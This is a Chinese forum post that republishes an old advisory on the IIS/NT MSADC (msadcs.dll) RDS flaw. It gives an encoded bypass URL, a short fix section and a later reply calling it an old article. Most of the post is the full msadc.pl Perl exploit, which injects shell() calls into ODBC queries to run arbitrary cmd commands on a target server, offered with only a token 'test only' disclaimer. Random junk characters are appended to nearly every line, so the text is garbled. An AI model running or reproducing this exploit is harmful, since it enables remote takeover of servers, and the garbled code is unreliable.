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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) lPp6 pVr  
i* gKtjx  
涉及程序: "aA_(Ydzj  
Microsoft NT server Xq%*# )M;  
O\JD,w  
描述: {9;eH'e  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 V0T<eH<  
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详细: :p$EiR  
如果你没有时间读详细内容的话,就删除: D"`[6EN[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll jMqx   
有关的安全问题就没有了。 F,.Q|.nN  
*I/A,#4r  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 w>vmF cp  
fO+U HSC  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 N1s.3`  
关于利用ODBC远程漏洞的描述,请参看: u#!GMZJN  
H9:%6sds  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8>d q=0:  
%t{Sb4XZ4k  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^\{J5  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~zj"OG"zOw  
c _p[yS  
这里不再论述。 o oDdV >  
A`Q >h{  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: IadK@?X6j  
g~|y$T  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset R9q0,yQW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;x16shH  
r hZQQOQ  
gE1|lY$NL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" e SK((T  
h-,?a_  
#!perl *@~`d*d  
# Seg#s.  
# MSADC/RDS 'usage' (aka exploit) script k!9=  
# " Ac~2<V  
# by rain.forest.puppy R @OSqEnr  
# PJ0Jjoh"Y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6."PS4}:  
# beta test and find errors! i<Q& D\Pv  
OMi02tSm  
use Socket; use Getopt::Std; p&QmIX]BZ  
getopts("e:vd:h:XR", \%args); W0U`Kt&~a  
/t$*W\PL@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; e6o/q)9#  
hi0XVC95  
if (!defined $args{h} && !defined $args{R}) { B#Qpd7E+*  
print qq~ (< :mM  
Usage: msadc.pl -h <host> { -d <delay> -X -v } |;~nI'0O])  
-h <host> = host you want to scan (ip or domain) p!QR3k.9s  
-d <seconds> = delay between calls, default 1 second 5'62ulwMP=  
-X = dump Index Server path table, if available NQg'|Pt(%  
-v = verbose Vv2{^ !aZ  
-e = external dictionary file for step 5 Fdr*xHx$P  
.@Hmg  
Or a -R will resume a command session a" ^#!G<+  
TG4^_nRl  
~; exit;} i'Wcf1I-=  
89db5Dx  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; LH,]vuXh  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 98h :X%  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} VZt;P%1;h  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); cB_pyX9Z  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} r)c+".0d^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } G I&qwA  
uvR0TIF4  
if (!defined $args{R}){ $ret = &has_msadc; gj[z ka0_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {uEu >D$8  
Lblet  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" J-b~4  
. "cmd /c "; %l%=Dkss  
$in=<STDIN>; chomp $in; sC!1B6:  
$command="cmd /c " . $in ; >,kL p|gA  
bG "6pU  
if (defined $args{R}) {&load; exit;} KUlB2Fqi  
Ko4)0&  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; PIgGXNo  
&try_btcustmr; 'w'Dwqhmr  
U 7EHBW  
print "\nStep 2: Trying to make our own DSN..."; Bl=nj.g  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; fYb KmB  
ZUv ZN f  
print "\nStep 3: Trying known DSNs..."; =kwb` Z/a  
&known_dsn; 7Y%!,ff  
3L?WTS6(u  
print "\nStep 4: Trying known .mdbs..."; H U:1f)a a  
&known_mdb; '_k>*trV  
ful]OLV+  
if (defined $args{e}){ H]Y#pL u|  
print "\nStep 5: Trying dictionary of DSN names..."; 0W;q!H[G  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } jkZ_c!  
>F,$;y52  
print "Sorry Charley...maybe next time?\n"; gkSGRshf  
exit; LQ~LB'L  
Z`^ K%P=  
############################################################################## & 8ccrw  
Xs{/}wc.q;  
sub sendraw { # ripped and modded from whisker +dDJes!]  
sleep($delay); # it's a DoS on the server! At least on mine... <m~T>Ql1  
my ($pstr)=@_; MP6 \r  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @=02  
die("Socket problems\n"); yBr$ 0$  
if(connect(S,pack "SnA4x8",2,80,$target)){ Q~x*bMb.  
select(S); $|=1; j@%K*Gb`  
print $pstr; my @in=<S>; A"Tc^Ij  
select(STDOUT); close(S); 3s3a>  
return @in; 58M'r{8_  
} else { die("Can't connect...\n"); }} I[tAT[ <  
>&*6Fqd  
############################################################################## kqjxJ5  
+I^+k"  
sub make_header { # make the HTTP request c ,Qw;  
my $msadc=<<EOT tVC@6Z$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ^nG1/}  
User-Agent: ACTIVEDATA J& 1X  
Host: $ip \/? ! 6~  
Content-Length: $clen sZ0g99eX  
Connection: Keep-Alive L+v8E/W  
xmCm3ekmpC  
ADCClientVersion:01.06 $ iX^p4v  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 oc!biE`u  
Z)C:]}Ex  
--!ADM!ROX!YOUR!WORLD! zyIza@V(  
Content-Type: application/x-varg ~,(0h:8  
Content-Length: $reqlen 113Z@F  
SIKk|I)  
EOT \DG( 8l  
; $msadc=~s/\n/\r\n/g; Yt\E/*%  
return $msadc;} YR$tPe  
% <8K^|w  
############################################################################## P58\+9d_  
jrDz7AfA  
sub make_req { # make the RDS request DR.3 J`?K  
my ($switch, $p1, $p2)=@_; nEjo,   
my $req=""; my $t1, $t2, $query, $dsn; aL_;`@4  
?AqrlR]5  
if ($switch==1){ # this is the btcustmr.mdb query j<. <S {  
$query="Select * from Customers where City=" . make_shell(); 7AZ5%o  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6Y0/i,d*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?7rmwy\  
{jj]K.&  
elsif ($switch==2){ # this is general make table query ;`X`c  
$query="create table AZZ (B int, C varchar(10))"; J>,'P^  
$dsn="$p1";} |U;w!0  
gJWlWVeq$  
elsif ($switch==3){ # this is general exploit table query Mq rt-VPh  
$query="select * from AZZ where C=" . make_shell(); (H|%?F;{l  
$dsn="$p1";} >=Rd3dgDG  
bAA'=z<  
elsif ($switch==4){ # attempt to hork file info from index server d +*T@k]>M  
$query="select path from scope()"; 17MN8SfQ  
$dsn="Provider=MSIDXS;";} )W_ Y3M,  
,*9#c*'S  
elsif ($switch==5){ # bad query z/ c'Z#w%  
$query="select"; Y{x[N}h  
$dsn="$p1";} *~\;&G29Y  
@LwVmR |{  
$t1= make_unicode($query); %8bFQNd  
$t2= make_unicode($dsn); ~FK+bF?%  
$req = "\x02\x00\x03\x00"; XnNOj>!  
$req.= "\x08\x00" . pack ("S1", length($t1)); Z_eqM4{  
$req.= "\x00\x00" . $t1 ; Mt7X<?GZm  
$req.= "\x08\x00" . pack ("S1", length($t2)); ND)M3qp2(  
$req.= "\x00\x00" . $t2 ; I(iGs I  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; i]h R7g<  
return $req;} =CD:.FG.  
A;/Xt  
############################################################################## ^^j|0qshL  
H4K(SGx  
sub make_shell { # this makes the shell() statement ThT.iD[  
return "'|shell(\"$command\")|'";} m%BMd  
3RTB~K8:{  
############################################################################## #=)?s 8T  
UC?2mdLt^  
sub make_unicode { # quick little function to convert to unicode vl#V-UW$4P  
my ($in)=@_; my $out; 9fr&Yb=_o@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } r&j+;JM5  
return $out;} iG;d0>Sp  
l:kE^=6  
############################################################################## J\Oc]gi\L  
0*]<RM  
sub rdo_success { # checks for RDO return success (this is kludge) <9MQ  
my (@in) = @_; my $base=content_start(@in); n]6w)wE (  
if($in[$base]=~/multipart\/mixed/){ gvwCoCbb  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} f6/\JVi)-  
return 0;} s525`Q;  
Ed ?Yk* 4  
############################################################################## |?pYJkrYO  
NZi'eZ{^`  
sub make_dsn { # this makes a DSN for us \a~;8):q=i  
my @drives=("c","d","e","f"); XH_qA[=c]  
print "\nMaking DSN: "; lN]X2 4t  
foreach $drive (@drives) { +wPvQKVfI  
print "$drive: "; ej??j<]  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . v~W6yjp  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +(=[M]5#n  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); S4uR \|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :`!mCW`Q-  
return 0 if $2 eq "404"; # not found/doesn't exist 9R t(G_'  
if($2 eq "200") { ua.6?W)  
foreach $line (@results) { H~1? MAX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ./5MsHfbxt  
} return 0;} 16d{IGMz  
JqH.QnKcv  
############################################################################## '&o> %V  
]>]H:NEq  
sub verify_exists { H]]>sE  
my ($page)=@_; `(w kqa  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %CfTqbB  
return $results[0];} Vv* 5{_  
rnt$BB[g  
############################################################################## =,} !Ns{k  
b^|,9en  
sub try_btcustmr { :;gwdZ  
my @drives=("c","d","e","f"); 6`{)p&9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8)Bn?6.  
s#8{:ko  
foreach $dir (@dirs) { s\K-(`j}  
print "$dir -> "; # fun status so you can see progress 4tN~UMw?  
foreach $drive (@drives) { "MVN /Gl  
print "$drive: "; # ditto DQHGq_unP  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &<; nl^  
$reqlenlen=length( "$reqlen" ); h hNFp  
$clen= 206 + $reqlenlen + $reqlen; >+W?!9[p:2  
KTS7)2ci  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4 9+}OIX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Bg 8t'dw?K  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} s t3]Yy  
*SpO|*'  
############################################################################## )-6[ Bw  
wE=8jl*  
sub odbc_error { C^ k3*N  
my (@in)=@_; my $base; v(WL 3[y;  
my $base = content_start(@in); u>-uRz<)t  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this s9)8{z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hrtN.4p[  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %>QSeX  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e[Ul"pMvS`  
return $in[$base+4].$in[$base+5].$in[$base+6];} l=.InSuLT  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @%okaj#IO  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,jdKcWy'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} bgx5{!A  
s!zr>N"  
############################################################################## 1,sO =p)Yg  
_KlPbyLU  
sub verbose { )Z`viT  
my ($in)=@_; ieK'<%dxF  
return if !$verbose; ]&%X(jWyn  
print STDOUT "\n$in\n";} pz z`4VS:  
SZ1pf#w!  
############################################################################## _[6+FdS],  
os0"haOI9h  
sub save { 'G By^hj?  
my ($p1, $p2, $p3, $p4)=@_; <GU(/S!}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [_z2z6  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; S&g -  
close OUT;} v,O&UrZ  
4iB)oR  
############################################################################## 3_['[}  
a>e 1jM[  
sub load { 2LK*Cv[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jZgnt{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `[R:L.H1  
@p=<IN>; close(IN); G;.u>92r|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ZJ'H y5?  
$target= inet_aton($ip) || die("inet_aton problems"); \~m%4kzG8J  
print "Resuming to $ip ..."; LHGK!zI  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Xwqf Wd_  
if($p[1]==1) {  7qdl,z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "gVH;<&]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; QrRCsy70  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); (inwKRH  
if (rdo_success(@results)){print "Success!\n";} v6(l#,  
else { print "failed\n"; verbose(odbc_error(@results));}} gl4 f9Ff  
elsif ($p[1]==3){ )e$-B]>7z  
if(run_query("$p[3]")){ Pn){xfqDl  
print "Success!\n";} else { print "failed\n"; }} t7& GCZ  
elsif ($p[1]==4){ oML K!]a  
if(run_query($drvst . "$p[3]")){ D}C*8s bC}  
print "Success!\n"; } else { print "failed\n"; }} Le+8s LE`Y  
exit;} +]2~@=<@  
GAe_Z( T  
############################################################################## 4zvU"np  
3xR#,22:}  
sub create_table { H<3b+Sg  
my ($in)=@_; k{$"-3ed  
$reqlen=length( make_req(2,$in,"") ) - 28; BJ;cF"Kp  
$reqlenlen=length( "$reqlen" ); T%xL=STJNy  
$clen= 206 + $reqlenlen + $reqlen; !)1Zp*  
my @results=sendraw(make_header() . make_req(2,$in,"")); >@\?\!Go  
return 1 if rdo_success(@results); e(5Px!B  
my $temp= odbc_error(@results); verbose($temp); krT!AfeV  
return 1 if $temp=~/Table 'AZZ' already exists/; dtXJ<1:  
return 0;} dEl3?~  
"h|0]y^2  
############################################################################## E.*OA y  
@G&xq "Fg7  
sub known_dsn { 04LVa|Y@U  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go s.Ic3ITd,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 15yV4wHr  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", F973U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7o%|R2mL}  
_z6u^#Si  
foreach $dSn (@dsns) { =*G'.D /*  
print "."; <{~UKi  
next if (!is_access("DSN=$dSn")); Ho*RLVI0U  
if(create_table("DSN=$dSn")){ A ba%Gh  
print "$dSn successful\n"; !c' ;L'  
if(run_query("DSN=$dSn")){ }tgn1xpx  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `RLrT3 4  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1T^L) %&p_  
" ~hjB  
############################################################################## gG?*Fi  
Or~6t}f  
sub is_access { 4C*=8oe_  
my ($in)=@_; nqW:P$  
$reqlen=length( make_req(5,$in,"") ) - 28; Q/SC7R&"t  
$reqlenlen=length( "$reqlen" ); 6R,b 8  
$clen= 206 + $reqlenlen + $reqlen; xVo)!83+Q  
my @results=sendraw(make_header() . make_req(5,$in,"")); [Cr~gd+ q  
my $temp= odbc_error(@results); 8-#2?=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _A~gqOe  
return 0;} E^ti !4{<  
nFn`>kQ  
############################################################################## g#&##f  
{:j!@w3  
sub run_query { d|HM  
my ($in)=@_; AMiFsgBj  
$reqlen=length( make_req(3,$in,"") ) - 28; QxL FN(d  
$reqlenlen=length( "$reqlen" ); =C}<0<"iF  
$clen= 206 + $reqlenlen + $reqlen; M?CMN.Dw  
my @results=sendraw(make_header() . make_req(3,$in,"")); ph+tk5k  
return 1 if rdo_success(@results); tOVm~C,R  
my $temp= odbc_error(@results); verbose($temp); dQ"W~ig  
return 0;} QAw,XZ.K^  
=)>q.R9  
############################################################################## 3`!KndY1  
ml/O  
sub known_mdb { J<O_N~$$*  
my @drives=("c","d","e","f","g"); s$G8`$+i1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); OlFn<:V K  
my $dir, $drive, $mdb; jv^ L~<u  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .DsYR/  
+`[Sv%v&L  
# this is sparse, because I don't know of many P.P>@@+d  
my @sysmdbs=( "\\catroot\\icatalog.mdb", I8:&Btf  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kV<)>Gs  
"\\system32\\certmdb.mdb", SZ){1Hu  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% tS@/Bq('B  
bS"M*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", {NDe9V5  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ez-o*&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", o\gQYi   
"\\cfusion\\cfapps\\security\\realm_.mdb", i)DXb  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", .`RC,R`C  
"\\cfusion\\database\\cfexamples.mdb", %05a>Rf&  
"\\cfusion\\database\\cfsnippets.mdb", _L.yt5_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", v%Xe)D   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "xI[4~'`:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ,6L>f.V^(U  
"\\cfusion\\database\\smpolicy.mdb", |g !# \  
"\\cfusion\\database\cypress.mdb", ~(S4/d5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "|rqt.f2[  
"\\website\\cgi-win\\dbsample.mdb", U]$3NIe  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", boon =;{p  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" PTqS L]  
); #these are just TR20{8"  
foreach $drive (@drives) { <ZdNPcT<s  
foreach $dir (@dirs){ }aIf IJ  
foreach $mdb (@sysmdbs) { c,ek]dTj  
print "."; O,v$'r W  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *5)!y d  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >$F]Ss)$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ]vErF=[U,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ';F][x5j  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1>{(dd?L  
)P])0Y-  
foreach $drive (@drives) { {D#`+uw  
foreach $mdb (@mdbs) { xx8na8  
print "."; V|`|CVFo]  
if(create_table($drv . $drive . $dir . $mdb)){ Zv93cv  
print "\n" . $drive . $dir . $mdb . " successful\n"; VV0$L=mo  
if(run_query($drv . $drive . $dir . $mdb)){ B8Z66#EQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }lVUa{ubf  
} else { print "Something's borked. Use verbose next time\n"; }}}} E(#2/E6  
} h='=uj8o5  
uU s>/+  
############################################################################## .EwK>ro4  
H'>  
sub hork_idx { W aU_Z/{0  
print "\nAttempting to dump Index Server tables...\n"; ;;5i'h~?]J  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; \eCdGx?  
$reqlen=length( make_req(4,"","") ) - 28; ^e ii 4  
$reqlenlen=length( "$reqlen" ); 8EA?'~"  
$clen= 206 + $reqlenlen + $reqlen; IgL8u  
my @results=sendraw2(make_header() . make_req(4,"","")); *Y~64FM  
if (rdo_success(@results)){ Po3W+; @  
my $max=@results; my $c; my %d; f_8~b0`  
for($c=19; $c<$max; $c++){ jEIL(0_H  
$results[$c]=~s/\x00//g; yW 3h_08  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; WTx;,TNG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; L8Q!6oO=<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; r.5F^   
$d{"$1$2"}="";} (Bz(KyD[  
foreach $c (keys %d){ print "$c\n"; } ).xWjVC  
} else {print "Index server doesn't seem to be installed.\n"; }} 3}+ \&[  
S{6u\Vy  
############################################################################## `<q5RuU  
1wt]J!hgV  
sub dsn_dict { X*Zv,Wm  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $)!Z"2T  
while(<IN>){ r^)<Jy0|r  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; =B1!em|  
next if (!is_access("DSN=$dSn")); ;Lu|fQ#u*  
if(create_table("DSN=$dSn")){ jC%I]#!n  
print "$dSn successful\n"; ! ZEKvW  
if(run_query("DSN=$dSn")){ /_\4( vvf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /Y:Zqk3  
print "Something's borked. Use verbose next time\n";}}} HFOp4  
print "\n"; close(IN);} ^Tx1y[hw$  
;f Gi5=-  
############################################################################## 4tjRju?  
Hw? J1#1IE  
sub sendraw2 { # ripped and modded from whisker 9tO_hhEQ@  
sleep($delay); # it's a DoS on the server! At least on mine... FmPF7  
my ($pstr)=@_; R#>E{[9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z~qQ@u|  
die("Socket problems\n"); _[W=1bGJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ szHUHW~;J  
print "Connected. Getting data"; 4~4Hst#^  
open(OUT,">raw.out"); my @in; F<[8!^l(z  
select(S); $|=1; print $pstr; S%2qB;uw  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} UpILr\3U  
close(OUT); select(STDOUT); close(S); return @in; & BkNkb0  
} else { die("Can't connect...\n"); }} K4"as9oFP  
_PF><ODX2  
############################################################################## aH_&=/-Tz  
Dp8(L ]6  
sub content_start { # this will take in the server headers S(pfd2^  
my (@in)=@_; my $c; F+GQl  
for ($c=1;$c<500;$c++) { <S qbj;  
if($in[$c] =~/^\x0d\x0a/){ b~}}{fm&f  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } s6I]H  
else { return $c+1; }}} Ts\7)6|F  
return -1;} # it should never get here actually 6C:Lq%}  
>qCT#TY  
############################################################################## 0Ko,S(M_  
TR|; /yJ  
sub funky { l-&f81W  
my (@in)=@_; my $error=odbc_error(@in); -nW-I\d%  
if($error=~/ADO could not find the specified provider/){ \ iFE,z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (ZYOm  
exit;} @cON"(  
if($error=~/A Handler is required/){ \xt!b^d0  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'py k  
exit;} #!2gxm;g  
if($error=~/specified Handler has denied Access/){ (w*$~p  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?~!h N,h  
exit;}} &m`  
=GF+hM/~  
############################################################################## ep5aBrN]"  
L>B0%TP^  
sub has_msadc { GCrN:+E0FJ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); N`M5`=.  
my $base=content_start(@results); x K/`XY  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); &("?6%GC  
return 0;} &7 ,wdG  
T*oH tpFj#  
######################## aD4ln]sFxG  
,#crtX  
A)xI. Q6  
解决方案: .+y#7-#6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll zMa`olTZ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 eu# ||  
_?{2{^v  
拿出来充数 哈哈
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